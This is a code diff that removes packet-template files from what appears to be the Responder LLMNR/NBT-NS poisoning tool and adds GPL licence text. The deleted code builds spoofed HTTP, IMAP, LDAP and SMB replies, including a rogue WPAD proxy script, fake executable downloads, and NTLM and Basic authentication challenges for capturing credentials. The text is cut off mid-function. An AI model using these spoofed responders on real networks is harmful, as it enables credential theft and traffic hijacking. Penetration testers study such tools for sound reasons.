-        ("Type",          "Content-Type: application/x-ns-proxy-autoconfig\r\n"),
-        ("PoweredBy",     "X-Powered-By: ASP.NET\r\n"),
-        ("ContentLen",    "Content-Length: "),
-        ("ActualLen",     "76"), 
-        ("CRLF",          "\r\n\r\n"),
-        ("Payload",       "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"),
-    ])
-    def calculate(self):
-        self.fields["ActualLen"] = len(str(self.fields["Payload"]))
-
-class ServerExeFile(Packet):
-    fields = OrderedDict([
-        ("Code",          "HTTP/1.1 200 OK\r\n"),
-        ("ContentType",   "Content-Type: application/octet-stream\r\n"),
-        ("LastModified",  "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
-        ("AcceptRanges",  "Accept-Ranges: bytes\r\n"),
-        ("Server",        "Server: Microsoft-IIS/7.5\r\n"),
-        ("PoweredBy",     "X-Powered-By: ASP.NET\r\n"),
-        ("ContentLen",    "Content-Length: "),
-        ("ActualLen",     "76"), 
-        ("Date",          "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
-        ("Connection",    "Connection: keep-alive\r\n"),
-        ("X-CCC",         "US\r\n"),
-        ("X-CID",         "2\r\n"),
-        ("CRLF",          "\r\n"),
-        ("Payload",       "jj"),
-    ])
-    def calculate(self):
-        self.fields["ActualLen"] = len(str(self.fields["Payload"]))
-
-class ServeAlwaysExeFile(Packet):
-    fields = OrderedDict([
-        ("Code",          "HTTP/1.1 200 OK\r\n"),
-        ("ContentType",   "Content-Type: application/octet-stream\r\n"),
-        ("LastModified",  "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
-        ("AcceptRanges",  "Accept-Ranges: bytes\r\n"),
-        ("Server",        "Server: Microsoft-IIS/7.5\r\n"),
-        ("PoweredBy",     "X-Powered-By: ASP.NET\r\n"),
-        ("ContentDisp",   "Content-Disposition: attachment; filename="),
-        ("ContentDiFile", ""),
-        ("FileCRLF",      ";\r\n"),
-        ("ContentLen",    "Content-Length: "),
-        ("ActualLen",     "76"), 
-        ("Date",          "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
-        ("Connection",    "Connection: keep-alive\r\n"),
-        ("X-CCC",         "US\r\n"),
-        ("X-CID",         "2\r\n"),
-        ("CRLF",          "\r\n"),
-        ("Payload",       "jj"),
-    ])
-    def calculate(self):
-        self.fields["ActualLen"] = len(str(self.fields["Payload"]))
-
-class ServeAlwaysNormalFile(Packet):
-    fields = OrderedDict([
-        ("Code",          "HTTP/1.1 200 OK\r\n"),
-        ("ContentType",   "Content-Type: text/html\r\n"),
-        ("LastModified",  "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
-        ("AcceptRanges",  "Accept-Ranges: bytes\r\n"),
-        ("Server",        "Server: Microsoft-IIS/7.5\r\n"),
-        ("PoweredBy",     "X-Powered-By: ASP.NET\r\n"),
-        ("ContentLen",    "Content-Length: "),
-        ("ActualLen",     "76"), 
-        ("Date",          "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
-        ("Connection",    "Connection: keep-alive\r\n"),
-        ("X-CCC",         "US\r\n"),
-        ("X-CID",         "2\r\n"),
-        ("CRLF",          "\r\n"),
-        ("Payload",       "jj"),
-    ])
-    def calculate(self):
-        self.fields["ActualLen"] = len(str(self.fields["Payload"]))
-
-#HTTP Packet used for further NTLM auth.
-class IIS_Auth_407_Ans(Packet):
-    fields = OrderedDict([
-        ("Code",          "HTTP/1.1 407 Authentication Required\r\n"),
-        ("Via",           "Via: 1.1 SMB-TOOLKIT\r\n"),
-        ("Date",          "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
-        ("Type",          "Content-Type: text/html\r\n"),
-        ("WWW-Auth",      "Proxy-Authenticate: NTLM\r\n"),
-        ("Connection",    "Connection: close \r\n"),
-        ("PConnection",   "proxy-Connection: close \r\n"),
-        ("Len",           "Content-Length: 0\r\n"), 
-        ("CRLF",          "\r\n"),                               
-    ])
-
-#HTTP NTLM packet.
-class IIS_407_NTLM_Challenge_Ans(Packet):
-    fields = OrderedDict([
-        ("Code",          "HTTP/1.1 407 Authentication Required\r\n"),
-        ("Via",           "Via: 1.1 SMB-TOOLKIT\r\n"),
-        ("Date",          "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
-        ("Type",          "Content-Type: text/html\r\n"),
-        ("WWWAuth",       "Proxy-Authenticate: NTLM "),
-        ("Payload",       ""),
-        ("Payload-CRLF",  "\r\n"),
-        ("PoweredBy",     "X-Powered-By: SMB-TOOLKIT\r\n"),
-        ("Len",           "Content-Length: 0\r\n"),
-        ("CRLF",          "\r\n"),                                            
-    ])
-
-    def calculate(self,payload):
-        self.fields["Payload"] = b64encode(payload)
-
-#HTTP Basic answer packet.
-class IIS_Basic_407_Ans(Packet):
-    fields = OrderedDict([
-        ("Code",          "HTTP/1.1 407 Unauthorized\r\n"),
-        ("ServerType",    "Server: Microsoft-IIS/6.0\r\n"),
-        ("Date",          "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
-        ("Type",          "Content-Type: text/html\r\n"),
-        ("WWW-Auth",      "Proxy-Authenticate: Basic realm=\"ISAServer\"\r\n"),
-        ("PoweredBy",     "X-Powered-By: ASP.NET\r\n"),
-        ("Len",           "Content-Length: 0\r\n"), 
-        ("CRLF",          "\r\n"),                               
-    ])

IMAPPackets.py

@@ -1,55 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-# 
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-import struct
-from odict import OrderedDict
-
-class Packet():
-    fields = OrderedDict([
-        ("data", ""),
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-
-#IMAP4 Greating class
-class IMAPGreating(Packet):
-    fields = OrderedDict([
-        ("Code",             "* OK IMAP4 service is ready."),
-        ("CRLF",        "\r\n"), 
-        ]) 
-
-#IMAP4 Capability class
-class IMAPCapability(Packet):
-    fields = OrderedDict([
-        ("Code",             "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"),
-        ("CRLF",        "\r\n"), 
-        ]) 
-
-#IMAP4 Capability class
-class IMAPCapabilityEnd(Packet):
-    fields = OrderedDict([
-        ("Tag",             ""),
-        ("Message",         " OK CAPABILITY completed."),
-        ("CRLF",        "\r\n"), 
-        ]) 

LDAPPackets.py

@@ -1,238 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-# 
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-
-import struct
-from odict import OrderedDict
-
-class Packet():
-    fields = OrderedDict([
-        ("data", ""),
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-
-
-class LDAPSearchDefaultPacket(Packet):
-    fields = OrderedDict([
-        ("ParserHeadASNID",   "\x30"),
-        ("ParserHeadASNLen",  "\x0c"),
-        ("MessageIDASNID",    "\x02"),
-        ("MessageIDASNLen",   "\x01"),
-        ("MessageIDASNStr",   "\x0f"),
-        ("OpHeadASNID",       "\x65"),
-        ("OpHeadASNIDLen",    "\x07"),
-        ("SearchDoneSuccess", "\x0A\x01\x00\x04\x00\x04\x00"),#No Results.
-    ])
-
-class LDAPSearchSupportedCapabilitiesPacket(Packet):
-    fields = OrderedDict([
-        ("ParserHeadASNID",          "\x30"),
-        ("ParserHeadASNLenOfLen",    "\x84"),
-        ("ParserHeadASNLen",         "\x00\x00\x00\x7e"),#126
-        ("MessageIDASNID",           "\x02"),
-        ("MessageIDASNLen",          "\x01"),
-        ("MessageIDASNStr",          "\x02"),
-        ("OpHeadASNID",              "\x64"),
-        ("OpHeadASNIDLenOfLen",      "\x84"),
-        ("OpHeadASNIDLen",           "\x00\x00\x00\x75"),#117
-        ("ObjectName",               "\x04\x00"),
-        ("SearchAttribASNID",        "\x30"),
-        ("SearchAttribASNLenOfLen",  "\x84"),
-        ("SearchAttribASNLen",       "\x00\x00\x00\x6d"),#109
-        ("SearchAttribASNID1",       "\x30"),
-        ("SearchAttribASN1LenOfLen", "\x84"),
-        ("SearchAttribASN1Len",      "\x00\x00\x00\x67"),#103
-        ("SearchAttribASN2ID",       "\x04"),
-        ("SearchAttribASN2Len",      "\x15"),#21
-        ("SearchAttribASN2Str",      "supportedCapabilities"),
-        ("SearchAttribASN3ID",       "\x31"),
-        ("SearchAttribASN3LenOfLen", "\x84"),
-        ("SearchAttribASN3Len",      "\x00\x00\x00\x4a"),
-        ("SearchAttrib1ASNID",       "\x04"),
-        ("SearchAttrib1ASNLen",      "\x16"),#22
-        ("SearchAttrib1ASNStr",      "1.2.840.113556.1.4.800"),
-        ("SearchAttrib2ASNID",       "\x04"),
-        ("SearchAttrib2ASNLen",      "\x17"),#23
-        ("SearchAttrib2ASNStr",      "1.2.840.113556.1.4.1670"),
-        ("SearchAttrib3ASNID",       "\x04"),
-        ("SearchAttrib3ASNLen",      "\x17"),#23
-        ("SearchAttrib3ASNStr",      "1.2.840.113556.1.4.1791"),
-        ("SearchDoneASNID",          "\x30"),
-        ("SearchDoneASNLenOfLen",    "\x84"),
-        ("SearchDoneASNLen",         "\x00\x00\x00\x10"),#16
-        ("MessageIDASN2ID",          "\x02"),
-        ("MessageIDASN2Len",         "\x01"),
-        ("MessageIDASN2Str",         "\x02"),
-        ("SearchDoneStr",            "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
-        ## No need to calculate anything this time, this packet is generic.
-    ])
-
-class LDAPSearchSupportedMechanismsPacket(Packet):
-    fields = OrderedDict([
-        ("ParserHeadASNID",          "\x30"),
-        ("ParserHeadASNLenOfLen",    "\x84"),
-        ("ParserHeadASNLen",         "\x00\x00\x00\x60"),#96
-        ("MessageIDASNID",           "\x02"),
-        ("MessageIDASNLen",          "\x01"),
-        ("MessageIDASNStr",          "\x02"),
-        ("OpHeadASNID",              "\x64"),
-        ("OpHeadASNIDLenOfLen",      "\x84"),
-        ("OpHeadASNIDLen",           "\x00\x00\x00\x57"),#87
-        ("ObjectName",               "\x04\x00"),
-        ("SearchAttribASNID",        "\x30"),
-        ("SearchAttribASNLenOfLen",  "\x84"),
-        ("SearchAttribASNLen",       "\x00\x00\x00\x4f"),#79
-        ("SearchAttribASNID1",       "\x30"),
-        ("SearchAttribASN1LenOfLen", "\x84"),
-        ("SearchAttribASN1Len",      "\x00\x00\x00\x49"),#73
-        ("SearchAttribASN2ID",       "\x04"),
-        ("SearchAttribASN2Len",      "\x17"),#23
-        ("SearchAttribASN2Str",      "supportedSASLMechanisms"),
-        ("SearchAttribASN3ID",       "\x31"),
-        ("SearchAttribASN3LenOfLen", "\x84"),
-        ("SearchAttribASN3Len",      "\x00\x00\x00\x2a"),#42
-        ("SearchAttrib1ASNID",       "\x04"),
-        ("SearchAttrib1ASNLen",      "\x06"),#6
-        ("SearchAttrib1ASNStr",      "GSSAPI"),
-        ("SearchAttrib2ASNID",       "\x04"),
-        ("SearchAttrib2ASNLen",      "\x0a"),#10
-        ("SearchAttrib2ASNStr",      "GSS-SPNEGO"),
-        ("SearchAttrib3ASNID",       "\x04"),
-        ("SearchAttrib3ASNLen",      "\x08"),#8
-        ("SearchAttrib3ASNStr",      "EXTERNAL"),
-        ("SearchAttrib4ASNID",       "\x04"),
-        ("SearchAttrib4ASNLen",      "\x0a"),#10
-        ("SearchAttrib4ASNStr",      "DIGEST-MD5"),
-        ("SearchDoneASNID",          "\x30"),
-        ("SearchDoneASNLenOfLen",    "\x84"),
-        ("SearchDoneASNLen",         "\x00\x00\x00\x10"),#16
-        ("MessageIDASN2ID",          "\x02"),
-        ("MessageIDASN2Len",         "\x01"),
-        ("MessageIDASN2Str",         "\x02"),
-        ("SearchDoneStr",            "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
-        ## No need to calculate anything this time, this packet is generic.
-    ])
-
-class LDAPNTLMChallenge(Packet):
-    fields = OrderedDict([
-        ("ParserHeadASNID",          "\x30"),
-        ("ParserHeadASNLenOfLen",    "\x84"),
-        ("ParserHeadASNLen",         "\x00\x00\x00\xD0"),#208
-        ("MessageIDASNID",           "\x02"),
-        ("MessageIDASNLen",          "\x01"),
-        ("MessageIDASNStr",          "\x02"),
-        ("OpHeadASNID",              "\x61"),
-        ("OpHeadASNIDLenOfLen",      "\x84"),
-        ("OpHeadASNIDLen",           "\x00\x00\x00\xc7"),#199
-        ("Status",                   "\x0A"),
-        ("StatusASNLen",             "\x01"),
-        ("StatusASNStr",             "\x0e"), #In Progress.
-        ("MatchedDN",                "\x04\x00"), #Null
-        ("ErrorMessage",             "\x04\x00"), #Null
-        ("SequenceHeader",           "\x87"),
-        ("SequenceHeaderLenOfLen",   "\x81"),
-        ("SequenceHeaderLen",        "\x82"), #188
-        ("NTLMSSPSignature",         "NTLMSSP"),
-        ("NTLMSSPSignatureNull",  "\x00"),
-        ("NTLMSSPMessageType",    "\x02\x00\x00\x00"),
-        ("NTLMSSPNtWorkstationLen","\x1e\x00"),
-        ("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
-        ("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
-        ("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
-        ("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
-        ("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
-        ("NTLMSSPNtTargetInfoLen","\x94\x00"),
-        ("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
-        ("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
-        ("NegTokenInitSeqMechMessageVersionHigh","\x05"),
-        ("NegTokenInitSeqMechMessageVersionLow","\x02"),
-        ("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"),
-        ("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
-        ("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
-        ("NTLMSSPNtWorkstationName","SMB12"),
-        ("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
-        ("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
-        ("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"),
-        ("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"), 
-        ("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"), 
-        ("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"),
-        ("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"),
-        ("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
-    ])
-
-    def calculate(self):
-
-        ##Convert strings to Unicode first...
-        self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
-        self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
-        self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
-        self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
-        self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
-        self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
-
-        ###### Workstation Offset
-        CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
-
-        ###### AvPairs Offset
-        CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
-
-        ###### LDAP Packet Len
-        CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
-
-
-        OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
-
-        NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
-
-        ##### LDAP Len Calculation:
-        self.fields["ParserHeadASNLen"] = struct.pack(">i", len(CalculatePacketLen))
-        self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen))
-        self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen))
-
-        ##### Workstation Offset Calculation:
-        self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
-        self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
-        self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
-
-        ##### IvPairs Offset Calculation:
-        self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
-        self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
-        self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
-        ##### IvPair Calculation:
-        self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
-        self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
-        self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
-        self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
-        self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
-

LICENSE

@@ -0,0 +1,674 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 3, 29 June 2007
+
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+
+  "Additional permissions" are terms that supplement the terms of this
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+Additional permissions that are applicable to the entire Program shall
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+
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+
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+
+  12. No Surrender of Others' Freedom.
+
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+
+  13. Use with the GNU Affero General Public License.
+
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+
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+  If the Program specifies that a proxy can decide which future
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+
+                     END OF TERMS AND CONDITIONS
+
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+
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+possible use to the public, the best way to achieve this is to make it
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+
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+    but WITHOUT ANY WARRANTY; without even the implied warranty of
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+Also add information on how to contact you by electronic and paper mail.
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+    <program>  Copyright (C) <year>  <name of author>
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+    This is free software, and you are welcome to redistribute it
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+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
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+if any, to sign a "copyright disclaimer" for the program, if necessary.
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+<http://www.gnu.org/licenses/>.
+
+  The GNU General Public License does not permit incorporating your program
+into proprietary programs.  If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
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+Public License instead of this License.  But first, please read
+<http://www.gnu.org/philosophy/why-not-lgpl.html>.

RAPLANMANPackets.py

@@ -1,160 +0,0 @@
-import struct
-from odict import OrderedDict
-
-def longueur(payload):
-    length = struct.pack(">i", len(''.join(payload)))
-    return length
-
-class Packet():
-    fields = OrderedDict([
-        ("data", ""),
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-
-
-class SMBHeader(Packet):
-    fields = OrderedDict([
-        ("proto", "\xff\x53\x4d\x42"),
-        ("cmd", "\x72"),
-        ("error-code", "\x00\x00\x00\x00" ),
-        ("flag1", "\x08"),
-        ("flag2", "\x01\x00"),
-        ("pidhigh", "\x00\x00"),
-        ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
-        ("reserved", "\x00\x00"),
-        ("tid", "\x00\x00"),
-        ("pid", "\x3c\x1b"),
-        ("uid", "\x00\x00"),
-        ("mid", "\x00\x00"),
-    ])
-
-class SMBNegoData(Packet):
-    fields = OrderedDict([
-        ("wordcount", "\x00"),
-        ("bcc", "\x54\x00"),
-        ("separator1","\x02" ),
-        ("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
-        ("separator2","\x02"),
-        ("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
-    ])
-    def calculate(self):
-        CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"])+str(self.fields["separator2"])+str(self.fields["dialect2"])
-        self.fields["bcc"] = struct.pack("<h",len(CalculateBCC))
-
-class SMBSessionData(Packet):
-    fields = OrderedDict([
-        ("wordcount", "\x0a"),
-        ("AndXCommand", "\xff"),
-        ("reserved","\x00"),
-        ("andxoffset", "\x00\x00"),
-        ("maxbuff","\xff\xff"),
-        ("maxmpx", "\x02\x00"),
-        ("vcnum","\x01\x00"),
-        ("sessionkey", "\x00\x00\x00\x00"),
-        ("PasswordLen","\x18\x00"),
-        ("reserved2","\x00\x00\x00\x00"),
-        ("bcc","\x3b\x00"),
-        ("AccountPassword",""),
-        ("AccountName",""),
-        ("AccountNameTerminator","\x00"),
-        ("PrimaryDomain","WORKGROUP"),
-        ("PrimaryDomainTerminator","\x00"),
-        ("NativeOs","Unix"),
-        ("NativeOsTerminator","\x00"),
-        ("NativeLanman","Samba"),
-        ("NativeLanmanTerminator","\x00"),
-
-    ])
-    def calculate(self): 
-        CompleteBCC = str(self.fields["AccountPassword"])+str(self.fields["AccountName"])+str(self.fields["AccountNameTerminator"])+str(self.fields["PrimaryDomain"])+str(self.fields["PrimaryDomainTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLanman"])+str(self.fields["NativeLanmanTerminator"])
-        self.fields["bcc"] = struct.pack("<h", len(CompleteBCC))
-        self.fields["PasswordLen"] = struct.pack("<h", len(str(self.fields["AccountPassword"])))
-
-class SMBTreeConnectData(Packet):
-    fields = OrderedDict([
-        ("Wordcount", "\x04"),
-        ("AndXCommand", "\xff"),
-        ("Reserved","\x00" ),
-        ("Andxoffset", "\x00\x00"),
-        ("Flags","\x08\x00"),
-        ("PasswdLen", "\x01\x00"),
-        ("Bcc","\x1b\x00"),
-        ("Passwd", "\x00"),
-        ("Path",""),
-        ("PathTerminator","\x00"),
-        ("Service","?????"),
-        ("Terminator", "\x00"),
-
-    ])
-    def calculate(self): 
-        self.fields["PasswdLen"] = struct.pack("<h", len(str(self.fields["Passwd"])))[:2]
-        BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
-        self.fields["Bcc"] = struct.pack("<h", len(BccComplete))
-
-class RAPNetServerEnum3Data(Packet):
-    fields = OrderedDict([
-        ("Command", "\xd7\x00"),
-        ("ParamDescriptor", "WrLehDzz"),
-        ("ParamDescriptorTerminator", "\x00"),
-        ("ReturnDescriptor","B16BBDz"),
-        ("ReturnDescriptorTerminator", "\x00"),
-        ("DetailLevel", "\x01\x00"),
-        ("RecvBuff","\xff\xff"),
-        ("ServerType", "\x00\x00\x00\x80"),
-        ("TargetDomain","SMB"),
-        ("RapTerminator","\x00"),
-        ("TargetName","ABCD"),
-        ("RapTerminator2","\x00"),
-    ])
-
-class SMBTransRAPData(Packet):
-    fields = OrderedDict([
-        ("Wordcount", "\x0e"),
-        ("TotalParamCount", "\x24\x00"),
-        ("TotalDataCount","\x00\x00" ),
-        ("MaxParamCount", "\x08\x00"),
-        ("MaxDataCount","\xff\xff"),
-        ("MaxSetupCount", "\x00"),
-        ("Reserved","\x00\x00"),
-        ("Flags", "\x00"),
-        ("Timeout","\x00\x00\x00\x00"),
-        ("Reserved1","\x00\x00"),
-        ("ParamCount","\x24\x00"),
-        ("ParamOffset", "\x5a\x00"),
-        ("DataCount", "\x00\x00"),
-        ("DataOffset", "\x7e\x00"),
-        ("SetupCount", "\x00"),
-        ("Reserved2", "\x00"),
-        ("Bcc", "\x3f\x00"),
-        ("Terminator", "\x00"),
-        ("PipeName", "\\PIPE\\LANMAN"),
-        ("PipeTerminator","\x00\x00"),
-        ("Data", ""),
-
-    ])
-    def calculate(self):
-        #Padding
-        if len(str(self.fields["Data"]))%2==0:
-           self.fields["PipeTerminator"] = "\x00\x00\x00\x00"
-        else:
